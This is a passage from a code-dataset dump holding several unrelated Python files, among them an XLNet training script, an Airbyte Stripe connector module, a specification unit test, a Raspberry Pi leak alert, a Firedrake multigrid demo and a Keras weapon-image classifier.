'data_balanced_SharedTask/subtask'+subtask+'/'+size\n datafile_train = pd.read_csv(path+'/train_balanced.tsv', sep='\\t', names=[\"id\",\"labels\",\"subtask\",\"text\"])\n else:\n path = 'data/subtask'+subtask+'/'+size\n datafile_train = pd.read_csv(path+'/train.tsv', sep='\\t', names=[\"id\",\"labels\",\"subtask\",\"text\"])\n train_df = datafile_train[[\"text\",\"labels\"]]\n #train_df = train_df[(train_df.index < np.percentile(train_df.index, 40))] #for testing\n\n # Create eval_df\n\n train_df['text'] = train_df['text'].apply(lambda x: do_splitting(x))\n train_df['text'] = train_df['text'].apply(lambda x: emoji_to_words(x))\n\n if balance:\n datafile_dev = pd.read_csv(path+'/dev_balanced.tsv', sep='\\t', names=[\"id\",\"labels\",\"subtask\",\"text\"])\n else:\n datafile_dev = pd.read_csv(path+'/dev.tsv', sep='\\t', names=[\"id\",\"labels\",\"subtask\",\"text\"])\n eval_df = datafile_dev[[\"text\",\"labels\"]]\n\n eval_df['text'] = eval_df['text'].apply(lambda x: do_splitting(x))\n eval_df['text'] = eval_df['text'].apply(lambda x: emoji_to_words(x))\n #eval_df = eval_df[(eval_df.index < np.percentile(eval_df.index, 40))] #for testing\n\n # Create a ClassificationModel\n if 'subtaskc' in path.lower():\n numlab= 3\n weights = [1,2,3]\n else:\n numlab=2\n weights = [1,15]\n model = ClassificationModel(architecture, model_type, args=args, use_cuda = False, num_labels=numlab, weight = [100, 1]) # You can set class weights by using the optional weight argument\n\n # Train the model\n model.train_model(train_df)\n\n # Evaluate the model\n result, model_outputs, wrong_predictions = model.eval_model(eval_df, cr=classification_report, cm=confusion_matrix)\n\n print(\"Best model xlnet task B:\")\n print(model_outputs)\n print(result['cr']) # Classification report\n print(result['cm']) # Confusion matrix\n\n finalpredictionslist = []\n eval_list = eval_df['labels'].tolist()\n model1_outputs = model_outputs.tolist()\n for i in range(len(model1_outputs)):\n pred1list = model1_outputs[i]\n pred1 = pred1list.index(max(pred1list))\n finalpredictionslist.append(pred1)\n\n return model_outputs, finalpredictionslist, eval_list\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"ensemble/Bbestxlnet.py","file_name":"Bbestxlnet.py","file_ext":"py","file_size_in_byte":3442,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"557063408","text":"#\n# Copyright (c) 2023 Airbyte, Inc., all rights reserved.\n#\n\nimport logging\nfrom typing import Optional, Tuple\n\nfrom airbyte_cdk.sources import Source\nfrom airbyte_cdk.sources.streams import Stream\nfrom airbyte_cdk.sources.streams.http.availability_strategy import HttpAvailabilityStrategy\nfrom requests import HTTPError\n\nSTRIPE_ERROR_CODES = {\n \"more_permissions_required\": \"This is most likely due to insufficient permissions on the credentials in use. \"\n \"Try to grant required permissions/scopes or re-authenticate\",\n \"account_invalid\": \"The card, or account the card is connected to, is invalid. You need to contact your card issuer \"\n \"to check that the card is working correctly.\",\n \"oauth_not_supported\": \"Please use a different authentication method.\",\n}\n\n\nclass StripeAvailabilityStrategy(HttpAvailabilityStrategy):\n def handle_http_error(\n self, stream: Stream, logger: logging.Logger, source: Optional[\"Source\"], error: HTTPError\n ) -> Tuple[bool, Optional[str]]:\n status_code = error.response.status_code\n if status_code not in [400, 403]:\n raise error\n parsed_error = error.response.json()\n error_code = parsed_error.get(\"error\", {}).get(\"code\")\n error_message = STRIPE_ERROR_CODES.get(error_code, parsed_error.get(\"error\", {}).get(\"message\"))\n if not error_message:\n raise error\n doc_ref = self._visit_docs_message(logger, source)\n reason = f\"The endpoint {error.response.url} returned {status_code}: {error.response.reason}. {error_message}. {doc_ref} \"\n response_error_message = stream.parse_response_error_message(error.response)\n if response_error_message:\n reason += response_error_message\n return False, reason\n\n\nclass StripeSubStreamAvailabilityStrategy(HttpAvailabilityStrategy):\n def check_availability(self, stream: Stream, logger: logging.Logger, source: Optional[Source]) -> Tuple[bool, Optional[str]]:\n \"\"\"Traverse through all the parents of a given stream and run availability strategy on each of them\"\"\"\n try:\n current_stream, parent_stream = stream, getattr(stream, \"parent\")\n except AttributeError:\n return super().check_availability(stream, logger, source)\n if parent_stream:\n parent_stream_instance = getattr(current_stream, \"get_parent_stream_instance\")()\n # Accessing the `availability_strategy` property will instantiate AvailabilityStrategy under the hood\n availability_strategy = parent_stream_instance.availability_strategy\n if availability_strategy:\n is_available, reason = availability_strategy.check_availability(parent_stream_instance, logger, source)\n if not is_available:\n return is_available, reason\n return super().check_availability(stream, logger, source)\n","sub_path":"airbyte-integrations/connectors/source-stripe/source_stripe/availability_strategy.py","file_name":"availability_strategy.py","file_ext":"py","file_size_in_byte":2898,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"564958816","text":"import typing\nimport unittest\n\nfrom ...evaluations.specification import model\nfrom ..common import ConstructionTest\nfrom ..common import OuterConstructionTest\n\nfrom ..test_backendspecification import TestBackendSpecificationConstruction\nfrom ..test_valueselector import TestValueSelectorConstruction\n\n\nclass TestCrosswalkSpecificationConstruction(OuterConstructionTest, unittest.TestCase):\n @classmethod\n def make_assertion_for_single_definition(\n cls,\n test: typing.Union[ConstructionTest, unittest.TestCase],\n parameters: typing.Dict[str, typing.Any],\n definition: model.CrosswalkSpecification\n ):\n\n origin = parameters.get(\"origin\")\n\n if origin is not None:\n if isinstance(origin, bytes):\n origin = origin.decode()\n if isinstance(origin, str):\n origin = origin.split(\"/\")\n\n test.assertEqual(len(definition.entity_path), len(origin))\n\n for value in origin:\n test.assertIn(value, definition.entity_path)\n else:\n test.assertSequenceEqual(definition.entity_path, [\"$\"])\n\n TestBackendSpecificationConstruction.make_assertion_for_single_definition(\n test,\n parameters['backend'],\n definition.backend\n )\n\n test.assertEqual(definition.prediction_field_name, parameters['prediction_field_name'])\n test.assertEqual(definition.observation_field_name, parameters['observation_field_name'])\n\n for key in parameters.get('properties', dict()):\n test.assertIn(key, definition)\n test.assertEqual(definition[key], parameters['properties'][key])\n test.assertEqual(definition.properties[key], parameters['properties'][key])\n test.assertEqual(definition.get(key), parameters['properties'][key])\n\n test.assertIsNone(definition.get(\"NonExistentProperty\"))\n test.assertTrue(definition.get(\"NonExistentProperty\", True))\n\n def setUp(self) -> None:\n self.__full_object_parameters = {\n \"backend\": model.BackendSpecification(\n backend_type=\"file\",\n address=\"path/to/file\",\n data_format=\"json\",\n properties={\n \"prop3\": True\n },\n prop1=6,\n prop2=7\n ),\n \"entity_path\": \"path/to/start\",\n \"prediction_field_name\": \"prediction_location\",\n \"observation_field_name\": \"observation_location\",\n \"field\": model.ValueSelector(\n name=\"prediction_location\",\n where=\"key\",\n path=[\"* where site_no\"],\n origin=\"$\",\n datatype=\"string\",\n associated_fields=[\n model.AssociatedField(\n name=\"observation_location\",\n path=\"site_no\",\n datatype=\"string\"\n )\n ]\n ),\n \"properties\": {\n \"prop1\": 1,\n \"prop2\": 2,\n \"prop3\": True\n }\n }\n\n self.__full_object_parameter_list = list()\n self.__full_object_parameter_list.append(self.__full_object_parameters)\n self.__full_object_parameter_list.append(\n {\n \"backend\": model.BackendSpecification(\n backend_type=\"service\",\n address=\"https://example.com\",\n data_format=\"xml\",\n properties={\n \"prop2\": 9,\n \"prop3\": False\n },\n prop1=8\n ),\n \"entity_path\": \"padrth/tdo/stfgrtart\",\n \"prediction_field_name\": \"prediction_field\",\n \"observation_field_name\": \"observation_field\",\n \"field\": model.ValueSelector(\n name=\"x\",\n where=\"key\"\n ),\n \"properties\": {\n \"prop1\": 3,\n \"prop2\": 8,\n \"prop3\": False\n }\n }\n )\n\n self.__full_object_parameter_list.append(\n {\n \"backend\": model.BackendSpecification(\n backend_type=\"pubsub\",\n address=\"ws://dangerous.site.ru\",\n data_format=\"websocket\",\n prop1=10,\n prop2=11,\n prop3=True\n ),\n \"entity_path\": \"\",\n \"prediction_field_name\": \"prediction_field\",\n \"observation_field_name\": \"observation_field\",\n \"field\": {\n \"name\": \"y\",\n \"where\": \"value\",\n \"path\": ['x', 'y', 'z']\n },\n \"properties\": {\n \"prop1\": 7,\n \"proasp2\": \"t\",\n \"prop3\": True\n }\n }\n )\n\n self.__partial_object_parameters = {\n \"backend\": model.BackendSpecification(\n backend_type=\"file\",\n address=\"path/to/file\",\n data_format=\"json\",\n properties={\n \"prop3\": True\n },\n prop1=6,\n prop2=7\n ),\n \"entity_path\": \"path/to/start\",\n \"prediction_field_name\": \"prediction_location\",\n \"field\": model.ValueSelector(\n name=\"z\",\n where='one/two/three'\n ),\n \"observation_field_name\": \"observation_field\",\n \"properties\": {\n \"prop1\": 1,\n \"prop2\": 2,\n \"prop3\": True\n }\n }\n\n self.__partial_object_parameter_list = list()\n self.__partial_object_parameter_list.append(self.__partial_object_parameters.copy())\n\n self.__partial_object_parameter_list.append(\n {\n \"backend\": {\n \"backend_type\": \"service\",\n \"address\": \"https://example.com\",\n \"data_format\": \"xml\",\n \"properties\": {\n \"prop1\": 8,\n \"prop2\": 9,\n \"prop3\": False\n }\n },\n \"entity_path\": \"padrth/tdo/stfgrtart\",\n \"prediction_field_name\": \"prediction_field\",\n \"observation_field_name\": \"observation_field\",\n \"properties\": {\n \"prop1\": 3,\n \"prop2\": 8,\n \"prop3\": False\n },\n \"field\": {\n \"name\": \"ham\",\n \"where\": \"sandwich\"\n }\n }\n )\n\n self.__partial_object_parameter_list.append(\n {\n \"backend\": {\n \"backend_type\": \"pubsub\",\n \"address\": \"ws://dangerous.site.ru\",\n \"data_format\": \"websocket\",\n \"properties\": {\n \"prop1\": 10,\n \"prop2\": 11,\n \"prop3\": True\n }\n },\n \"field\": model.ValueSelector(\n name=\"cobb\",\n where=\"salad\"\n ),\n \"entity_path\": \"\",\n \"prediction_field_name\": \"prediction_location\",\n \"observation_field_name\": \"observation_field\",\n \"properties\": {\n \"prop1\": 7,\n \"proasp2\": \"t\",\n \"prop3\": True\n }\n }\n )\n\n self.__params = {\n \"backend\": dict(\n backend_type=\"file\",\n address=\"path/to/file\",\n data_format=\"json\",\n properties={\n \"prop3\": True\n },\n prop1=6,\n prop2=7\n ),\n \"entity_path\": \"path/to/start\",\n \"prediction_field_name\": \"prediction_field\",\n \"field\": dict(\n name=\"a\",\n where=\"value\",\n path=[\n \"one\",\n \"two\",\n \"three\"\n ]\n ),\n \"observation_field_name\": \"observation_field\",\n \"properties\": {\n \"prop1\": 1,\n \"prop2\": 2,\n \"prop3\": True\n }\n }\n\n self.__param_list = list()\n self.__param_list.append(self.__params.copy())\n\n self.__param_list.append(\n {\n \"backend\": {\n \"backend_type\": \"service\",\n \"address\": \"https://example.com\",\n \"data_format\": \"xml\",\n \"properties\": {\n \"prop1\": 8,\n \"prop2\": 9,\n \"prop3\": False\n }\n },\n \"field\": {\n \"name\": \"afa\",\n \"where\": \"value\"\n },\n \"entity_path\": \"padrth/tdo/stfgrtart\",\n \"prediction_field_name\": \"prediction\",\n \"observation_field_name\": \"observation\",\n \"properties\": {\n \"prop1\": 3,\n \"prop2\": 8,\n \"prop3\": False\n }\n }\n )\n\n self.__param_list.append(\n {\n \"backend\": {\n \"backend_type\": \"pubsub\",\n \"address\": \"ws://dangerous.site.ru\",\n \"data_format\": \"websocket\",\n \"properties\": {\n \"prop1\": 10,\n \"prop2\": 11,\n \"prop3\": True\n }\n },\n \"field\": {\n \"name\": \"stuff\",\n \"where\": \"key\"\n },\n \"origin\": \"\",\n \"prediction_field_name\": \"prediction\",\n \"observation_field_name\": \"observation\",\n \"properties\": {\n \"prop1\": 7,\n \"proasp2\": \"t\",\n \"prop3\": True\n }\n }\n )\n\n @property\n def full_object_parameters(self) -> typing.Dict[str, typing.Any]:\n return self.__full_object_parameters\n\n @property\n def partial_object_parameters(self) -> typing.Dict[str, typing.Any]:\n return self.__partial_object_parameters\n\n @property\n def full_object_parameter_list(self) -> typing.Sequence[typing.Dict[str, typing.Any]]:\n return self.__full_object_parameter_list\n\n @property\n def partial_object_parameter_list(self) -> typing.Sequence[typing.Dict[str, typing.Any]]:\n return self.__partial_object_parameter_list\n\n @classmethod\n def get_model_to_construct(cls) -> typing.Type[model.Specification]:\n return model.CrosswalkSpecification\n\n @property\n def params(self) -> typing.Dict[str, typing.Any]:\n return self.__params\n\n @property\n def param_list(self) -> typing.Sequence[typing.Dict[str, typing.Any]]:\n return self.__param_list\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"python/lib/evaluations/dmod/test/specification/test_crosswalkspecification.py","file_name":"test_crosswalkspecification.py","file_ext":"py","file_size_in_byte":12297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"633203558","text":"#!/usr/bin/python3\n\nfrom time import sleep\nimport RPi.GPIO as GPIO\nimport spidev\n\n\nspi = spidev.SpiDev()\nspi.open(0, 0)\nspi.max_speed_hz = 250000\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(14, GPIO.OUT)\nGPIO.setup(15, GPIO.OUT)\nGPIO.setup(18, GPIO.OUT)\n\ndef poll_sensor(channel):\n \"\"\"Poll MCP3002 ADC\n Args:\n channel (int): ADC channel 0 or 1\n Returns:\n int: 10 bit value relating voltage 0 to 1023\n \"\"\"\n assert 0 <= channel <= 1, 'ADC channel must be 0 or 1.'\n\n # First bit of cbyte is single=1 or diff=0.\n # Second bit is channel 0 or 1\n if channel:\n cbyte = 0b11000000\n else:\n cbyte = 0b10000000\n\n # Send (Start bit=1, cbyte=sgl/diff & odd/sign & MSBF = 0)\n r = spi.xfer2([1, cbyte, 0])\n\n # 10 bit value from returned bytes (bits 13-22):\n return ((r[1] & 31) << 6) + (r[2] >> 2)\n\ntry:\n while True:\n channel = 0\n channeldata = poll_sensor(channel)\n\n voltage = round(((channeldata * 3300) / 1024), 0)\n print('Voltage (mV): {}'.format(voltage))\n print('Data : {}\\n'.format(channeldata))\n\n if voltage < 50:\n # Green\n GPIO.output(14, GPIO.LOW)\n GPIO.output(15, GPIO.HIGH)\n GPIO.output(18, GPIO.LOW)\n elif voltage < 1000:\n # Yellow\n GPIO.output(14, GPIO.HIGH)\n GPIO.output(15, GPIO.HIGH)\n GPIO.output(18, GPIO.LOW)\n else:\n # Red\n GPIO.output(14, GPIO.HIGH)\n GPIO.output(15, GPIO.LOW)\n GPIO.output(18, GPIO.LOW)\n import voice\n sleep(10)\n import sms\n\n sleep(2)\nfinally: # Run on exit\n spi.close() # Clean up\n GPIO.cleanup()\n print (\"\\n All cleaned up.\")\n","sub_path":"leak_alert.py","file_name":"leak_alert.py","file_ext":"py","file_size_in_byte":1776,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"504268248","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.8-x86_64/egg/vint/misc.py\n# Compiled at: 2013-04-19 06:08:29\nfrom __future__ import unicode_literals\nimport logging, os\nfrom dateutil import parser\nfrom datetime import datetime\n__author__ = b'tchen'\nlogger = logging.getLogger(__name__)\n\ndef calc_time_spent(start):\n started = parser.parse(start)\n now = datetime.now()\n diff = now - started\n return diff.seconds / 60\n\n\ndef get_config():\n from os.path import expanduser\n import ConfigParser\n config = ConfigParser.ConfigParser()\n filename = expanduser(b'~/.vintconfig')\n if os.path.exists(filename):\n config.readfp(open(filename))\n return config\n else:\n return\n return\n\n\nconfig = get_config()","sub_path":"pycfiles/vint-0.1.5-py2.7/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"632990825","text":"from django.conf.urls import url\n\nfrom .views import *\n\nurlpatterns = [\n #Urls para vender\n url('^$', VentasRapidas.as_view(), name='Ventas'),\n url('^vender/$', terminarVenta, name='Vender'),\n url('^terminar/$', vender, name='Terminar ventas'),\n #url('^venta/$', vender, name=\"Vendiendo\"),\n #url('^$', VentasRapidas.as_view(), name=\"Ventas rapidas\"),\n #url('^venta/$', ventaBus),\n #url('^buscado/$', buscar, name='busqueda'),\n]\n","sub_path":"apps/ventas/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"161061198","text":"class Solution:\n def removeKdigits(self, num: str, k: int) -> str:\n if len(num) == k:\n return \"0\"\n stk = []\n for ch in num:\n while stk and k != 0 and int(stk[-1]) > int(ch):\n stk.pop()\n k -= 1\n stk.append(ch)\n if k != 0:\n res = \"\".join(stk[:-k])\n else:\n res = \"\".join(stk)\n return str(int(res))\n\n\nsolution = Solution()\nprint(solution.removeKdigits(\"10200\", 5))\n","sub_path":"贪心算法/402. 移掉K位数字.py","file_name":"402. 移掉K位数字.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"331793908","text":"# Recurrent Neural Network\n\n# Part 1 - Data Preprocessing\n\n# Importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n# Importing the training set\ntraining_set = pd.read_csv('/home/ryad/Téléchargements/data_tidy.csv')\ntraining_set = training_set.iloc[:,1:].values\n\n\n#####################################\ndef takecareof_data(training_set):\n \n number_of_days , number_of_corp = training_set.shape\n \n # Feature Scaling\n from sklearn.preprocessing import MinMaxScaler\n sc = MinMaxScaler()\n training_set = sc.fit_transform(training_set)\n \n # Getting the inputs and the ouputs\n X = training_set[0:(number_of_days-1),:]\n y = training_set[1:number_of_days,:]\n \n \n # Splitting the dataset into the Training set and Test set\n from sklearn.model_selection import train_test_split\n X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.15)\n return X_train, X_test, y_train, y_test,sc\n\n####################################################\n\ndef takecareof_deep_learngin(training_set):\n\n X_train, X_test, y_train, y_test,sc = takecareof_data(training_set)\n # Reshaping\n a , b = X_train.shape\n X_train = np.reshape(X_train,(a,b,1))\n \n # Part 2 - Building the RNN\n \n # Importing the Keras libraries and packages\n from keras.models import Sequential\n from keras.layers import Dense\n from keras.layers import LSTM\n \n \n \n # Initialising the RNN\n regressor = Sequential()\n \n # Adding the input layer and the LSTM layer\n regressor.add(LSTM(units = 12, activation = 'sigmoid', input_shape = (b,1)))\n \n \n # Adding the output layer\n regressor.add(Dense(output_dim = b))\n \n # Compiling the RNN\n regressor.compile(optimizer = 'adam', loss = 'mean_squared_error')\n \n # Fitting the RNN to the Training set\n regressor.fit(X_train, y_train, batch_size = 32, epochs = 200)\n \n \n \n # Getting the real stock price of 2017\n test_set = pd.read_csv('Google_Stock_Price_Test.csv')\n real_stock_price = test_set.iloc[:,1:2].values\n \n \n \n # Getting the real stock price of 2012 - 2016\n real_stock_price_train = pd.read_csv('Google_Stock_Price_Train.csv')\n real_stock_price_train = real_stock_price_train.iloc[:,1:2].values\n \n # Getting the predicted stock price of 2012 - 2016\n predicted_stock_price_train = regressor.predict(X_train)\n predicted_stock_price_train = sc.inverse_transform(predicted_stock_price_train)\n \n##############################################\n\ndef takecareof_gam_model(training_set):\n # mcycle dataset\n from pygam import LinearGAM\n \n X_train, X_test, y_train, y_test,_ = takecareof_data(training_set[:100,:])\n gam = LinearGAM()\n gam.fit(X_train[:,2], y_train[:,2])\n \n \n \n \n return plt.plot(y_test[:,2]),plt.plot(gam.predict(X_test[:,2]))\n\n\n################################################\n\ndef takecareof_random_forest(training_set):\n from sklearn.ensemble import RandomForestRegressor\n randomforestRegressor= RandomForestRegressor(n_jobs=-1)\n X_train, X_test, y_train, y_test,_ = takecareof_data(training_set)\n Z_train = X_train[:,2]\n Z_train.shape = (len(X_train[:,2]),1)\n randomforestRegressor = randomforestRegressor.fit(Z_train, y_train[:,2])\n Z_test = X_test[:,2]\n Z_test.shape = (len(X_test[:,2]),1)\n plt.plot(randomforestRegressor.predict(Z_test)),plt.plot(y_test[:,2])\n plt.legend([\"Real Value\", \"Predicted Value\"])\n return plt.show\n#\n\n##########################################\ndef kalmanFilter(training_set):\n from pykalman import KalmanFilter\n \n kf = KalmanFilter(transition_matrices = 1, observation_matrices = 1)\n X_train, X_test, y_train, y_test,_ = takecareof_data(training_set)\n measurements = X_train[:,2] # 3 observations\n kf = kf.em(measurements, n_iter=50)\n (filtered_state_means, filtered_state_covariances) = kf.filter(measurements)\n (smoothed_state_means, smoothed_state_covariances) = kf.smooth(measurements)\n\n return plt.plot(y_train[:,2]),plt.plot(filtered_state_means)\n\n#####################################\ndef feature_selection(training_set):\n from sklearn.ensemble import ExtraTreesRegressor\n from sklearn.feature_selection import SelectFromModel\n X_train, X_test, y_train, y_test,_ = takecareof_data(training_set)\n clf = ExtraTreesRegressor()\n clf = clf.fit(X_train, y_train)\n clf.feature_importances_ \n model = SelectFromModel(clf, prefit=True)\n feature_slected = model.get_support(indices = True)\n X_new = model.transform(X_train)\n \n return X_new,feature_slected\n\n##################################\n\ndef visualization(pred , real):\n import seaborn as sns\n return sns.heatmap(real),sns.heatmap(pred)","sub_path":"DatasotckDeep.py","file_name":"DatasotckDeep.py","file_ext":"py","file_size_in_byte":4796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"492177185","text":"# First Implementation of the V-Cycle algorithm\nfrom firedrake import *\n\n# Meshes first done in 2D later exchangeable for 3D\nmesh_c = UnitSquareMesh(2, 2)\nmesh_f = UnitSquareMesh(4, 4)\nmesh_ff = UnitSquareMesh(8, 8)\nmesh_fff = UnitSquareMesh(16, 16)\n\n# Saves the meshes into a list\nmeshes = [mesh_c, mesh_f, mesh_ff, mesh_fff, UnitSquareMesh(32, 32), UnitSquareMesh(64, 64)]\n\n# Create the hierarchy\nhierarchy = NonNestedMeshHierarchy(*meshes)\n\n# Select the finest mesh to define the problem on\nmesh = hierarchy[-1]\n\n# Create the function space\nV = FunctionSpace(mesh, \"CG\", 1)\n\n# Define test and trial function\nu = TrialFunction(V)\nv = TestFunction(V)\n\n# Model problem\na = dot(grad(u), grad(v))*dx\n\n# Boundary conditions\nbcs = DirichletBC(V, zero(), (1, 2, 3, 4)) # What does the zero() and the given list really do.\n\n# Set the spatial coordinates up\nx, y = SpatialCoordinate(mesh)\n\n# Forcing function\nf = -0.5*pi*pi*(4*cos(pi*x)-5*cos(pi*x*0.5)+2)*sin(pi*y)\n\n# Assemble the LHS\nL = f*v*dx\n\n# Define the exact solution to compute the error\nexact = sin(pi*x)*tan(pi*x*0.25)*sin(pi*y)\n\n# Set up the two function for the solver to variably define the inputs\ndef run_solve(parameters):\n\t# Solves the variable equality with the given parameters\n\tu = Function(V)\n\tsolve(a == L, u, bcs=bcs, solver_parameters=parameters)\n\treturn u\n\n\ndef error(u):\n\t# Computes the error norm of the function\n\texpect = Function(V).interpolate(exact)\n\treturn norm(assemble(u - expect))\n\n\n# Naive solve\nu = run_solve({\"ksp_type\": \"richardson\", \"ksp_monitor\": True, \"pc_type\": \"lu\"})\nprint(\"LU solve error: \", error(u))\n\n# Saving the results in a file\nu.rename(\"Solution\")\nexact = Function(V).interpolate(exact)\nexact.rename(\"Exact Solution\")\ndifference = Function(V).interpolate(exact - u)\ndifference.rename(\"Difference\")\nFile(\"DirectSolve.pvd\").write(u, exact, difference)\n\n# V-Cycle\nu = run_solve({\"ksp_type\": \"cg\", \"ksp_monitor\": True, \"pc_type\": \"mg\", \"pc_mg_galerkin\": True})\nprint(\"MG V-cycle + CG error: \", error(u))\n\n# Saving the results in a file\nu.rename(\"Solution\")\ndifference.interpolate(exact - u)\nFile(\"VCycle.pvd\").write(u, exact, difference)\n\n# Full multigrid\nparameters = {\n\t\"ksp_type\": \"cg\",\n\t\"ksp_monitor\": True,\n\t\"pc_type\": \"mg\",\n\t\"pc_mg_type\": \"full\",\n\t\"pc_mg_galerkin\": True,\n\t\"mg_levels_ksp_type\": \"chebyshev\",\n\t\"mg_levels_ksp_max_it\": 2,\n\t\"mg_levels_pc_type\": \"jacobi\"\n}\n\nu = run_solve(parameters)\nprint(\"MG Full Multigrid Cycle error: \", error(u))\n\n# Saving the results in a file\nu.rename(\"Solution\")\ndifference = Function(V).interpolate(exact - u)\ndifference.rename(\"Difference\")\nFile(\"FullMultigrid.pvd\").write(u, exact, difference)\n","sub_path":"VCycle/VCycleImplementation.py","file_name":"VCycleImplementation.py","file_ext":"py","file_size_in_byte":2632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"266046410","text":"from keras.preprocessing.image import ImageDataGenerator\nfrom keras.preprocessing import image\nfrom keras import optimizers\nimport keras\nfrom keras.models import Sequential, Model\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras.layers import Activation, Dropout, Flatten, Dense\nfrom keras import backend as K\nimport numpy as np\nfrom keras import applications\nfrom keras import regularizers\nfrom keras.applications.inception_v3 import preprocess_input, decode_predictions\nimport matplotlib.pyplot as plt\n\n# paths:\ntrain_data_dir = 'data/train'\nvalidation_data_dir = 'data/validation'\nprediction_data_dir = 'prediction_images'\n\nclasses = ImageDataGenerator().flow_from_directory(train_data_dir).class_indices # Gets classes from folder structure\n\nimg_h, img_w = 150, 150\ntrain_sample_size = 770 # Specify the amount of images in training samples\nvalidation_sample_size = 400 # and validation samples\n\nbatch_size = 16 # amount of pictures that is trained at once\n\nif K.image_data_format() == 'channels_first':\n input_shape = (3, img_h, img_w)\nelse:\n input_shape = (img_h, img_w, 3)\n\nbest_model = keras.callbacks.ModelCheckpoint('best_weight_inception' + '.h5', monitor='val_acc', save_best_only=True)\nreduce_lr = keras.callbacks.ReduceLROnPlateau(monitor='loss', factor=0.25, patience=20, min_lr=0.000005)\n\n\ndef compileModel():\n model = applications.InceptionV3(include_top=False, input_shape=input_shape, weights='imagenet')\n x = model.output\n x = Flatten()(x) # flattening output from\n # adding a fully connected layer to InceptionV3\n x = Dense(256, activation='relu', kernel_regularizer=regularizers.l2(0.1))(x)\n\n x = Dropout(0.5)(x)\n # Connecting to a 4 clxass dense layer, using softmax for prediction\n predictions = Dense(4, activation='softmax', kernel_regularizer=regularizers.l2(0.1))(x)\n\n train_model = Model(inputs=model.input, outputs=predictions) #creating a new model, with v3 as input and our dense as output\n\n for layer in model.layers:\n layer.trainable = False # here we disable training for the v3 network\n\n #Compiling the network using adam and learning rate as 0.0001\n train_model.compile(optimizer=optimizers.adam(lr=1e-4), loss='categorical_crossentropy', metrics=['accuracy'] )\n return train_model\n\n\ndef train_model(input_model):\n epochs = 50\n batch_size = 16\n # this is the augmentation configuration we will use for training\n\n train_datagen = ImageDataGenerator( # image\n rescale=1. / 255,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True)\n\n # this is the augmentation configuration we will use for testing:\n # only rescaling\n test_datagen = ImageDataGenerator(rescale=1. / 255)\n\n\n train_generator = train_datagen.flow_from_directory(\n train_data_dir,\n target_size=(img_w, img_h),\n batch_size=batch_size,\n class_mode='categorical',\n shuffle=True)\n\n\n print(\"validation generator\")\n validation_generator = test_datagen.flow_from_directory(\n validation_data_dir,\n target_size=(img_w, img_h),\n batch_size=batch_size,\n class_mode='categorical',\n shuffle=True)\n\n print(\"starting \")\n hist = input_model.fit_generator(\n (train_generator),\n steps_per_epoch=train_sample_size // batch_size,\n epochs=epochs,\n validation_data= validation_generator,\n nb_val_samples = 50,\n callbacks = [best_model, reduce_lr]\n )\n\n plotVal_plotLoss(hist)\n input_model.save_weights('inceptionV3Weights2.h5')\n\n #validation_steps=nb_validation_samples // batch_size)\n\n\ndef plotVal_plotLoss (model) :\n\n plt.plot(model.history['acc'])\n plt.plot(model.history['val_acc'])\n plt.title('model accuracy')\n plt.ylabel('accuracy')\n plt.xlabel('epoch')\n plt.legend(['train', 'test'], loc='upper left')\n plt.show()\n\n plt.plot(model.history['loss'])\n plt.plot(model.history['val_loss'])\n plt.title('model loss')\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['train', 'test'], loc='upper left')\n plt.show()\n\n\ndef predictImg(path, model):\n imagep = image.load_img(path, target_size=(img_w, img_h))\n x = image.img_to_array(imagep)\n x = x / 255\n #x = preprocess_input(x)\n x = np.expand_dims(x, axis=0)\n prediction = model.predict(x)\n findLabel(prediction, 0.3, path)\n print(prediction)\n\n\ndef findLabel(test, threshold, path):\n if (max(test[0]) < threshold):\n print(\"no class could be defined for \" + path + \" with threshold 0.30\")\n else:\n m = max(test[0])\n index = [i for i, j in enumerate(list(test[0])) if j == m]\n labeler(index[0], path)\n\n\ndef labeler(inp, pathname):\n label = list(classes.keys())[inp]\n print(\"The image '\" + pathname + \"' belongs to class: \" + label)\n return 0\n\n\n#train_model(compileModel())\n\nnp.set_printoptions(suppress=True, precision=3)\nmodel = compileModel()\nmodel.load_weights('best_weight_inception.h5')\n\npredictImg(prediction_data_dir + '/hud.PNG', model) # ansigt\npredictImg(prediction_data_dir + '/ikke-gun.jpg', model) # ansigter\n\n\npredictImg(prediction_data_dir + '/59kspz.jpg', model) # Knife\npredictImg(prediction_data_dir + '/knive_m_hand.png', model) # knive\n\npredictImg(prediction_data_dir + '/gun_m_hand.jpg', model) # Gun\npredictImg(prediction_data_dir + '/gun_u_hand.jpg', model) # Gun\n\n\npredictImg(prediction_data_dir + '/rifleman.jpg', model) # Rifle\npredictImg(prediction_data_dir + '/rifle.jpeg', model) # Rifle\n\n\nnp.set_printoptions(suppress=False, precision=10)\n\n\n\n\n#early_stop = keras.callbacks.EarlyStopping(monitor='val_acc', min_delta=0, patience=self.patience, verbose=0, 